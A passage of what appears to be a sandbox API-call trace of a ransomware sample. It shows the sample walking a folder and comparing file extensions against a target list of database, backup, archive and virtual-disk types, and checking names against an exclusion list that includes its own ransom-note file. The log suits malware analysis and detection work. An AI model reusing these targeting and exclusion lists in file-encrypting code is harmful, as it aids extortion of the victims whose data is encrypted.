	[0054.894] lstrcmpiW (lpString1="rain", lpString2="vhdx") returned -1
	[0054.894] lstrlenW (lpString="avhd") returned 4
	[0054.894] lstrcmpiW (lpString1="rain", lpString2="avhd") returned 1
	[0054.894] lstrlenW (lpString="db") returned 2
	[0054.894] lstrcmpiW (lpString1="in", lpString2="db") returned 1
	[0054.894] lstrlenW (lpString="db2") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="db2") returned -1
	[0054.894] lstrlenW (lpString="db3") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="db3") returned -1
	[0054.894] lstrlenW (lpString="dbf") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="dbf") returned -1
	[0054.894] lstrlenW (lpString="mdf") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="mdf") returned -1
	[0054.894] lstrlenW (lpString="mdb") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="mdb") returned -1
	[0054.894] lstrlenW (lpString="sql") returned 3
	[0054.894] lstrcmpiW (lpString1="ain", lpString2="sql") returned -1
	[0054.894] lstrlenW (lpString="sqlite") returned 6
	[0054.894] lstrcmpiW (lpString1="ahrain", lpString2="sqlite") returned -1
	[0054.894] lstrlenW (lpString="sqlite3") returned 7
	[0054.894] lstrlenW (lpString="sqlitedb") returned 8
	[0054.895] lstrlenW (lpString="xml") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="xml") returned -1
	[0054.895] lstrlenW (lpString="$er") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="$er") returned 1
	[0054.895] lstrlenW (lpString="4dd") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="4dd") returned 1
	[0054.895] lstrlenW (lpString="4dl") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="4dl") returned 1
	[0054.895] lstrlenW (lpString="^^^") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="^^^") returned 1
	[0054.895] lstrlenW (lpString="abs") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="abs") returned 1
	[0054.895] lstrlenW (lpString="abx") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="abx") returned 1
	[0054.895] lstrlenW (lpString="accdb") returned 5
	[0054.895] lstrcmpiW (lpString1="hrain", lpString2="accdb") returned 1
	[0054.895] lstrlenW (lpString="accdc") returned 5
	[0054.895] lstrcmpiW (lpString1="hrain", lpString2="accdc") returned 1
	[0054.895] lstrlenW (lpString="accde") returned 5
	[0054.895] lstrcmpiW (lpString1="hrain", lpString2="accde") returned 1
	[0054.895] lstrlenW (lpString="accdr") returned 5
	[0054.895] lstrcmpiW (lpString1="hrain", lpString2="accdr") returned 1
	[0054.895] lstrlenW (lpString="accdt") returned 5
	[0054.895] lstrcmpiW (lpString1="hrain", lpString2="accdt") returned 1
	[0054.895] lstrlenW (lpString="accdw") returned 5
	[0054.895] lstrcmpiW (lpString1="hrain", lpString2="accdw") returned 1
	[0054.895] lstrlenW (lpString="accft") returned 5
	[0054.895] lstrcmpiW (lpString1="hrain", lpString2="accft") returned 1
	[0054.895] lstrlenW (lpString="adb") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="adb") returned 1
	[0054.895] lstrlenW (lpString="adb") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="adb") returned 1
	[0054.895] lstrlenW (lpString="ade") returned 3
	[0054.895] lstrcmpiW (lpString1="ain", lpString2="ade") returned 1
	[0054.896] lstrlenW (lpString="adf") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="adf") returned 1
	[0054.896] lstrlenW (lpString="adn") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="adn") returned 1
	[0054.896] lstrlenW (lpString="adp") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="adp") returned 1
	[0054.896] lstrlenW (lpString="alf") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="alf") returned -1
	[0054.896] lstrlenW (lpString="ask") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="ask") returned -1
	[0054.896] lstrlenW (lpString="btr") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="btr") returned -1
	[0054.896] lstrlenW (lpString="cat") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="cat") returned -1
	[0054.896] lstrlenW (lpString="cdb") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="cdb") returned -1
	[0054.896] lstrlenW (lpString="ckp") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="ckp") returned -1
	[0054.896] lstrlenW (lpString="cma") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="cma") returned -1
	[0054.896] lstrlenW (lpString="cpd") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="cpd") returned -1
	[0054.896] lstrlenW (lpString="dacpac") returned 6
	[0054.896] lstrcmpiW (lpString1="ahrain", lpString2="dacpac") returned -1
	[0054.896] lstrlenW (lpString="dad") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="dad") returned -1
	[0054.896] lstrlenW (lpString="dadiagrams") returned 10
	[0054.896] lstrlenW (lpString="daschema") returned 8
	[0054.896] lstrlenW (lpString="db-journal") returned 10
	[0054.896] lstrlenW (lpString="db-shm") returned 6
	[0054.896] lstrcmpiW (lpString1="ahrain", lpString2="db-shm") returned -1
	[0054.896] lstrlenW (lpString="db-wal") returned 6
	[0054.896] lstrcmpiW (lpString1="ahrain", lpString2="db-wal") returned -1
	[0054.896] lstrlenW (lpString="dbc") returned 3
	[0054.896] lstrcmpiW (lpString1="ain", lpString2="dbc") returned -1
	[0054.897] lstrlenW (lpString="dbs") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dbs") returned -1
	[0054.897] lstrlenW (lpString="dbt") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dbt") returned -1
	[0054.897] lstrlenW (lpString="dbv") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dbv") returned -1
	[0054.897] lstrlenW (lpString="dbx") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dbx") returned -1
	[0054.897] lstrlenW (lpString="dcb") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dcb") returned -1
	[0054.897] lstrlenW (lpString="dct") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dct") returned -1
	[0054.897] lstrlenW (lpString="dcx") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dcx") returned -1
	[0054.897] lstrlenW (lpString="ddl") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="ddl") returned -1
	[0054.897] lstrlenW (lpString="dlis") returned 4
	[0054.897] lstrcmpiW (lpString1="rain", lpString2="dlis") returned 1
	[0054.897] lstrlenW (lpString="dp1") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dp1") returned -1
	[0054.897] lstrlenW (lpString="dqy") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dqy") returned -1
	[0054.897] lstrlenW (lpString="dsk") returned 3
	[0054.897] lstrcmpiW (lpString1="ain", lpString2="dsk") returned -1
	[0054.897] lstrlenW (lpString="dsn") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="dsn") returned -1
	[0054.898] lstrlenW (lpString="dtsx") returned 4
	[0054.898] lstrcmpiW (lpString1="rain", lpString2="dtsx") returned 1
	[0054.898] lstrlenW (lpString="dxl") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="dxl") returned -1
	[0054.898] lstrlenW (lpString="eco") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="eco") returned -1
	[0054.898] lstrlenW (lpString="ecx") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="ecx") returned -1
	[0054.898] lstrlenW (lpString="edb") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="edb") returned -1
	[0054.898] lstrlenW (lpString="epim") returned 4
	[0054.898] lstrcmpiW (lpString1="rain", lpString2="epim") returned 1
	[0054.898] lstrlenW (lpString="fcd") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fcd") returned -1
	[0054.898] lstrlenW (lpString="fdb") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fdb") returned -1
	[0054.898] lstrlenW (lpString="fic") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fic") returned -1
	[0054.898] lstrlenW (lpString="flexolibrary") returned 12
	[0054.898] lstrlenW (lpString="fm5") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fm5") returned -1
	[0054.898] lstrlenW (lpString="fmp") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fmp") returned -1
	[0054.898] lstrlenW (lpString="fmp12") returned 5
	[0054.898] lstrcmpiW (lpString1="hrain", lpString2="fmp12") returned 1
	[0054.898] lstrlenW (lpString="fmpsl") returned 5
	[0054.898] lstrcmpiW (lpString1="hrain", lpString2="fmpsl") returned 1
	[0054.898] lstrlenW (lpString="fol") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fol") returned -1
	[0054.898] lstrlenW (lpString="fp3") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fp3") returned -1
	[0054.898] lstrlenW (lpString="fp4") returned 3
	[0054.898] lstrcmpiW (lpString1="ain", lpString2="fp4") returned -1
	[0054.899] lstrlenW (lpString="fp5") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="fp5") returned -1
	[0054.899] lstrlenW (lpString="fp7") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="fp7") returned -1
	[0054.899] lstrlenW (lpString="fpt") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="fpt") returned -1
	[0054.899] lstrlenW (lpString="frm") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="frm") returned -1
	[0054.899] lstrlenW (lpString="gdb") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="gdb") returned -1
	[0054.899] lstrlenW (lpString="gdb") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="gdb") returned -1
	[0054.899] lstrlenW (lpString="grdb") returned 4
	[0054.899] lstrcmpiW (lpString1="rain", lpString2="grdb") returned 1
	[0054.899] lstrlenW (lpString="gwi") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="gwi") returned -1
	[0054.899] lstrlenW (lpString="hdb") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="hdb") returned -1
	[0054.899] lstrlenW (lpString="his") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="his") returned -1
	[0054.899] lstrlenW (lpString="ib") returned 2
	[0054.899] lstrcmpiW (lpString1="in", lpString2="ib") returned 1
	[0054.899] lstrlenW (lpString="idb") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="idb") returned -1
	[0054.899] lstrlenW (lpString="ihx") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="ihx") returned -1
	[0054.899] lstrlenW (lpString="itdb") returned 4
	[0054.899] lstrcmpiW (lpString1="rain", lpString2="itdb") returned 1
	[0054.899] lstrlenW (lpString="itw") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="itw") returned -1
	[0054.899] lstrlenW (lpString="jet") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="jet") returned -1
	[0054.899] lstrlenW (lpString="jtx") returned 3
	[0054.899] lstrcmpiW (lpString1="ain", lpString2="jtx") returned -1
	[0054.900] lstrlenW (lpString="kdb") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="kdb") returned -1
	[0054.900] lstrlenW (lpString="kexi") returned 4
	[0054.900] lstrcmpiW (lpString1="rain", lpString2="kexi") returned 1
	[0054.900] lstrlenW (lpString="kexic") returned 5
	[0054.900] lstrcmpiW (lpString1="hrain", lpString2="kexic") returned -1
	[0054.900] lstrlenW (lpString="kexis") returned 5
	[0054.900] lstrcmpiW (lpString1="hrain", lpString2="kexis") returned -1
	[0054.900] lstrlenW (lpString="lgc") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="lgc") returned -1
	[0054.900] lstrlenW (lpString="lwx") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="lwx") returned -1
	[0054.900] lstrlenW (lpString="maf") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="maf") returned -1
	[0054.900] lstrlenW (lpString="maq") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="maq") returned -1
	[0054.900] lstrlenW (lpString="mar") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="mar") returned -1
	[0054.900] lstrlenW (lpString="marshal") returned 7
	[0054.900] lstrlenW (lpString="mas") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="mas") returned -1
	[0054.900] lstrlenW (lpString="mav") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="mav") returned -1
	[0054.900] lstrlenW (lpString="maw") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="maw") returned -1
	[0054.900] lstrlenW (lpString="mdbhtml") returned 7
	[0054.900] lstrlenW (lpString="mdn") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="mdn") returned -1
	[0054.900] lstrlenW (lpString="mdt") returned 3
	[0054.900] lstrcmpiW (lpString1="ain", lpString2="mdt") returned -1
	[0054.901] lstrlenW (lpString="mfd") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="mfd") returned -1
	[0054.901] lstrlenW (lpString="mpd") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="mpd") returned -1
	[0054.901] lstrlenW (lpString="mrg") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="mrg") returned -1
	[0054.901] lstrlenW (lpString="mud") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="mud") returned -1
	[0054.901] lstrlenW (lpString="mwb") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="mwb") returned -1
	[0054.901] lstrlenW (lpString="myd") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="myd") returned -1
	[0054.901] lstrlenW (lpString="ndf") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="ndf") returned -1
	[0054.901] lstrlenW (lpString="nnt") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="nnt") returned -1
	[0054.901] lstrlenW (lpString="nrmlib") returned 6
	[0054.901] lstrcmpiW (lpString1="ahrain", lpString2="nrmlib") returned -1
	[0054.901] lstrlenW (lpString="ns2") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="ns2") returned -1
	[0054.901] lstrlenW (lpString="ns3") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="ns3") returned -1
	[0054.901] lstrlenW (lpString="ns4") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="ns4") returned -1
	[0054.901] lstrlenW (lpString="nsf") returned 3
	[0054.901] lstrcmpiW (lpString1="ain", lpString2="nsf") returned -1
	[0054.901] lstrlenW (lpString="nv") returned 2
	[0054.901] lstrcmpiW (lpString1="in", lpString2="nv") returned -1
	[0054.902] lstrlenW (lpString="nv2") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="nv2") returned -1
	[0054.902] lstrlenW (lpString="nwdb") returned 4
	[0054.902] lstrcmpiW (lpString1="rain", lpString2="nwdb") returned 1
	[0054.902] lstrlenW (lpString="nyf") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="nyf") returned -1
	[0054.902] lstrlenW (lpString="odb") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="odb") returned -1
	[0054.902] lstrlenW (lpString="odb") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="odb") returned -1
	[0054.902] lstrlenW (lpString="oqy") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="oqy") returned -1
	[0054.902] lstrlenW (lpString="ora") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="ora") returned -1
	[0054.902] lstrlenW (lpString="orx") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="orx") returned -1
	[0054.902] lstrlenW (lpString="owc") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="owc") returned -1
	[0054.902] lstrlenW (lpString="p96") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="p96") returned -1
	[0054.902] lstrlenW (lpString="p97") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="p97") returned -1
	[0054.902] lstrlenW (lpString="pan") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="pan") returned -1
	[0054.902] lstrlenW (lpString="pdb") returned 3
	[0054.902] lstrcmpiW (lpString1="ain", lpString2="pdb") returned -1
	[0054.902] lstrlenW (lpString="pdm") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="pdm") returned -1
	[0054.903] lstrlenW (lpString="pnz") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="pnz") returned -1
	[0054.903] lstrlenW (lpString="qry") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="qry") returned -1
	[0054.903] lstrlenW (lpString="qvd") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="qvd") returned -1
	[0054.903] lstrlenW (lpString="rbf") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="rbf") returned -1
	[0054.903] lstrlenW (lpString="rctd") returned 4
	[0054.903] lstrcmpiW (lpString1="rain", lpString2="rctd") returned -1
	[0054.903] lstrlenW (lpString="rod") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="rod") returned -1
	[0054.903] lstrlenW (lpString="rodx") returned 4
	[0054.903] lstrcmpiW (lpString1="rain", lpString2="rodx") returned -1
	[0054.903] lstrlenW (lpString="rpd") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="rpd") returned -1
	[0054.903] lstrlenW (lpString="rsd") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="rsd") returned -1
	[0054.903] lstrlenW (lpString="sas7bdat") returned 8
	[0054.903] lstrlenW (lpString="sbf") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="sbf") returned -1
	[0054.903] lstrlenW (lpString="scx") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="scx") returned -1
	[0054.903] lstrlenW (lpString="sdb") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="sdb") returned -1
	[0054.903] lstrlenW (lpString="sdc") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="sdc") returned -1
	[0054.903] lstrlenW (lpString="sdf") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="sdf") returned -1
	[0054.903] lstrlenW (lpString="sis") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="sis") returned -1
	[0054.903] lstrlenW (lpString="spq") returned 3
	[0054.903] lstrcmpiW (lpString1="ain", lpString2="spq") returned -1
	[0054.903] lstrlenW (lpString="te") returned 2
	[0054.904] lstrcmpiW (lpString1="in", lpString2="te") returned -1
	[0054.904] lstrlenW (lpString="teacher") returned 7
	[0054.904] lstrlenW (lpString="tmd") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="tmd") returned -1
	[0054.904] lstrlenW (lpString="tps") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="tps") returned -1
	[0054.904] lstrlenW (lpString="trc") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="trc") returned -1
	[0054.904] lstrlenW (lpString="trc") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="trc") returned -1
	[0054.904] lstrlenW (lpString="trm") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="trm") returned -1
	[0054.904] lstrlenW (lpString="udb") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="udb") returned -1
	[0054.904] lstrlenW (lpString="udl") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="udl") returned -1
	[0054.904] lstrlenW (lpString="usr") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="usr") returned -1
	[0054.904] lstrlenW (lpString="v12") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="v12") returned -1
	[0054.904] lstrlenW (lpString="vis") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="vis") returned -1
	[0054.904] lstrlenW (lpString="vpd") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="vpd") returned -1
	[0054.904] lstrlenW (lpString="vvv") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="vvv") returned -1
	[0054.904] lstrlenW (lpString="wdb") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="wdb") returned -1
	[0054.904] lstrlenW (lpString="wmdb") returned 4
	[0054.904] lstrcmpiW (lpString1="rain", lpString2="wmdb") returned -1
	[0054.904] lstrlenW (lpString="wrk") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="wrk") returned -1
	[0054.904] lstrlenW (lpString="xdb") returned 3
	[0054.904] lstrcmpiW (lpString1="ain", lpString2="xdb") returned -1
	[0054.904] lstrlenW (lpString="xld") returned 3
	[0054.905] lstrcmpiW (lpString1="ain", lpString2="xld") returned -1
	[0054.905] lstrlenW (lpString="xmlff") returned 5
	[0054.905] lstrcmpiW (lpString1="hrain", lpString2="xmlff") returned -1
	[0054.905] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Baku", cAlternateFileName="")) returned 1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="Apollon865.txt.exe") returned 1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2=".") returned 1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="..") returned 1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="windows") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="bootmgr") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="temp") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="pagefile.sys") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="boot") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="ids.txt") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="ntuser.dat") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="perflogs") returned -1
	[0054.905] lstrcmpiW (lpString1="Baku", lpString2="MSBuild") returned -1
	[0054.905] lstrlenW (lpString="Baku") returned 4
	[0054.905] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bahrain") returned 52
	[0054.905] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Baku" | out: lpString1="Baku") returned="Baku"
	[0054.905] lstrlenW (lpString="Baku") returned 4
	[0054.905] lstrlenW (lpString="Apollon865") returned 10
	[0054.905] lstrlenW (lpString=".dll") returned 4
	[0054.905] lstrlenW (lpString=".lnk") returned 4
	[0054.905] lstrlenW (lpString=".ini") returned 4
	[0054.905] lstrlenW (lpString=".sys") returned 4
	[0054.905] lstrlenW (lpString="Baku") returned 4
	[0054.905] lstrlenW (lpString="bak") returned 3
	[0054.905] lstrcmpiW (lpString1="aku", lpString2="bak") returned -1
	[0054.905] lstrlenW (lpString="ba_") returned 3
	[0054.905] lstrcmpiW (lpString1="aku", lpString2="ba_") returned -1
	[0054.905] lstrlenW (lpString="dbb") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="dbb") returned -1
	[0054.906] lstrlenW (lpString="vmdk") returned 4
	[0054.906] lstrlenW (lpString="rar") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="rar") returned -1
	[0054.906] lstrlenW (lpString="zip") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="zip") returned -1
	[0054.906] lstrlenW (lpString="tgz") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="tgz") returned -1
	[0054.906] lstrlenW (lpString="vbox") returned 4
	[0054.906] lstrlenW (lpString="vdi") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="vdi") returned -1
	[0054.906] lstrlenW (lpString="vhd") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="vhd") returned -1
	[0054.906] lstrlenW (lpString="vhdx") returned 4
	[0054.906] lstrlenW (lpString="avhd") returned 4
	[0054.906] lstrlenW (lpString="db") returned 2
	[0054.906] lstrcmpiW (lpString1="ku", lpString2="db") returned 1
	[0054.906] lstrlenW (lpString="db2") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="db2") returned -1
	[0054.906] lstrlenW (lpString="db3") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="db3") returned -1
	[0054.906] lstrlenW (lpString="dbf") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="dbf") returned -1
	[0054.906] lstrlenW (lpString="mdf") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="mdf") returned -1
	[0054.906] lstrlenW (lpString="mdb") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="mdb") returned -1
	[0054.906] lstrlenW (lpString="sql") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="sql") returned -1
	[0054.906] lstrlenW (lpString="sqlite") returned 6
	[0054.906] lstrlenW (lpString="sqlite3") returned 7
	[0054.906] lstrlenW (lpString="sqlitedb") returned 8
	[0054.906] lstrlenW (lpString="xml") returned 3
	[0054.906] lstrcmpiW (lpString1="aku", lpString2="xml") returned -1
	[0054.907] lstrlenW (lpString="$er") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="$er") returned 1
	[0054.907] lstrlenW (lpString="4dd") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="4dd") returned 1
	[0054.907] lstrlenW (lpString="4dl") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="4dl") returned 1
	[0054.907] lstrlenW (lpString="^^^") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="^^^") returned 1
	[0054.907] lstrlenW (lpString="abs") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="abs") returned 1
	[0054.907] lstrlenW (lpString="abx") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="abx") returned 1
	[0054.907] lstrlenW (lpString="accdb") returned 5
	[0054.907] lstrlenW (lpString="accdc") returned 5
	[0054.907] lstrlenW (lpString="accde") returned 5
	[0054.907] lstrlenW (lpString="accdr") returned 5
	[0054.907] lstrlenW (lpString="accdt") returned 5
	[0054.907] lstrlenW (lpString="accdw") returned 5
	[0054.907] lstrlenW (lpString="accft") returned 5
	[0054.907] lstrlenW (lpString="adb") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="adb") returned 1
	[0054.907] lstrlenW (lpString="adb") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="adb") returned 1
	[0054.907] lstrlenW (lpString="ade") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="ade") returned 1
	[0054.907] lstrlenW (lpString="adf") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="adf") returned 1
	[0054.907] lstrlenW (lpString="adn") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="adn") returned 1
	[0054.907] lstrlenW (lpString="adp") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="adp") returned 1
	[0054.907] lstrlenW (lpString="alf") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="alf") returned -1
	[0054.907] lstrlenW (lpString="ask") returned 3
	[0054.907] lstrcmpiW (lpString1="aku", lpString2="ask") returned -1
	[0054.908] lstrlenW (lpString="btr") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="btr") returned -1
	[0054.908] lstrlenW (lpString="cat") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="cat") returned -1
	[0054.908] lstrlenW (lpString="cdb") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="cdb") returned -1
	[0054.908] lstrlenW (lpString="ckp") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="ckp") returned -1
	[0054.908] lstrlenW (lpString="cma") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="cma") returned -1
	[0054.908] lstrlenW (lpString="cpd") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="cpd") returned -1
	[0054.908] lstrlenW (lpString="dacpac") returned 6
	[0054.908] lstrlenW (lpString="dad") returned 3
	[0054.908] lstrcmpiW (lpString1="aku", lpString2="dad") returned -1
	[0054.908] lstrlenW (lpString="dadiagrams") returned 10
	[0054.908] lstrlenW (lpString="daschema") returned 8
